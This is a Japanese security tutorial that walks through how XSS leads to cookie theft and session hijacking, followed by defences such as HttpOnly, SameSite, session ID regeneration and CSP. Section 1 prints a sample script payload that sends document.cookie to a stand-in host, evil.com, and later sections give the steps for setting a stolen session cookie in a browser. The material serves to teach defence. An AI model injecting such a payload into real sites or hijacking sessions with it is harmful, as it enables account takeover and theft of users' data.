はじめに
— 攻撃チェーンを完全分解
XSS(Cross-Site Scripting)は“ユーザーのブラウザで攻撃者のスクリプトが動いてしまう”脆弱性だ。
しかし XSS が本当に怖いのは、ただアラートを出すだけでは終わらないこと。
現実の攻撃では、
XSS → Cookie 盗難 → セッション乗っ取り(Session Hijacking)
という、一連の攻撃チェーンでユーザーのアカウントが完全に奪われる。
この記事では、その過程を ①何が起きるのか → ②攻撃者は具体的にどう動くのか → ③防御方法 の順に、わかりやすく解説する。
1. XSS により攻撃者のスクリプトが被害者ブラウザで実行される
XSS が起きると、攻撃者はまるで“被害者のブラウザをリモコン操作”できる状態になる。
つまり:
- 画面を書き換える
- フォームを勝手に送信させる
- ページ内の DOM を読み取る
- Cookie、LocalStorage、Token を読む(※HTTP-only 以外)
攻撃者にとってブラウザ内は“何でもやり放題のカンバス”になる。
例:攻撃者がコメント欄に仕込む payload
<script>
fetch("https://evil.com/steal?cookie=" + document.cookie);
</script>
この payload が実行された瞬間…
- 被害者のブラウザが
document.cookieを読み取る - 攻撃者のサーバーに送信される
これによって Cookie 盗難フェーズ が成立する。
2. Cookie が盗まれる
Cookie の中には、サイトがユーザーを識別するための セッション ID(SID) が入っていることが多い。
攻撃者のサーバーには次のようなログが届く:
GET /steal?cookie=PHPSESSID=abc123xyz; logged_in=true
攻撃者に必要なのは セッションを識別するためのトークンただ1つ。
これさえあれば、本人になりすますのは簡単だ。
セッション ID = 「あなたである証拠書類」
攻撃者はこれをコピーしてログインできてしまう。
3. セッション乗っ取り(Session Hijacking)
攻撃者は盗んだ Cookie を自分のブラウザにセットし、正規ユーザーのセッションとしてアクセスする。
例:ブラウザの DevTools に手動で Cookie を挿入するケース
- Chrome DevTools → Application → Cookies
-
PHPSESSIDを被害者と同じ値に書き換える - 正規サイトを開く
すると…
本人確認なしで被害者アカウントに“ログイン状態で”アクセスできてしまう。
攻撃者はそこから:
- アカウント情報取得
- メールアドレス変更
- パスワード変更
- クレジットカード情報閲覧
- 乗っ取り完了後、さらに二次攻撃
など、影響は甚大。
攻撃者からすると流れは非常にシンプル:
- XSS を注入
- Cookie を送信させる
- 盗んだ Cookie を自分のブラウザへセット
- 完了 → アカウントは攻撃者のもの
人のログイン状態を横取りする攻撃が Session Hijacking(セッションハイジャック) だ。
4. 防御方法 — “XSS を防ぐ”だけでは実は足りない
セキュリティ対策では、「攻撃チェーンをどこで切断するか」が重要。
Cookie 盗難チェーンには、次のような防御ポイントがある。
① XSS をそもそも発生させない
- 出力エンコード(文脈ごとに)
- 信頼できないデータをそのまま HTML に入れない
- innerHTML を使わない
- React/Vue で
dangerouslySetInnerHTML/v-htmlを安易に使わない
だが、現実には XSS を 100% 防ぐのは難しい。
② Cookie に HttpOnly 属性 を付ける
document.cookie ではアクセス不可になるため、XSS があっても Cookie は盗めない。
Set-Cookie: SESSIONID=...; HttpOnly; Secure; SameSite=Lax
これは XSS があっても最後の砦として機能する最強の対策。
③ SameSite 属性で CSRF / XSS 連携を難しくする
-
SameSite=LaxまたはStrict - 不正な第三者サイトからの送信を制限
④ セッション固定化対策
- ログイン時にセッション ID を必ず再発行する
- 権限操作時(パスワード変更・支払い処理)でも再発行
⑤ Content Security Policy (CSP)
特に:
script-src 'self'
を適切に設定すると、攻撃者が好きな JS を挿入することが難しくなる。
まとめ — XSS は単独攻撃ではなく「連鎖攻撃の入口」
XSS そのものは「ただスクリプトが動くだけ」に見えるかもしれない。
しかし実際には、次の攻撃につながる“入口”でしかない。
- Cookie 盗難
- セッション乗っ取り
- CSRF と併用
- フィッシング画面注入
- アカウント支配
- 内部 API の不正操作
XSS が1つ見つかった時点で、攻撃者にとっては攻撃範囲が一気に広がる。
だからこそ、攻撃チェーン全体を理解し、どこを切り離すかを意識することが重要だ。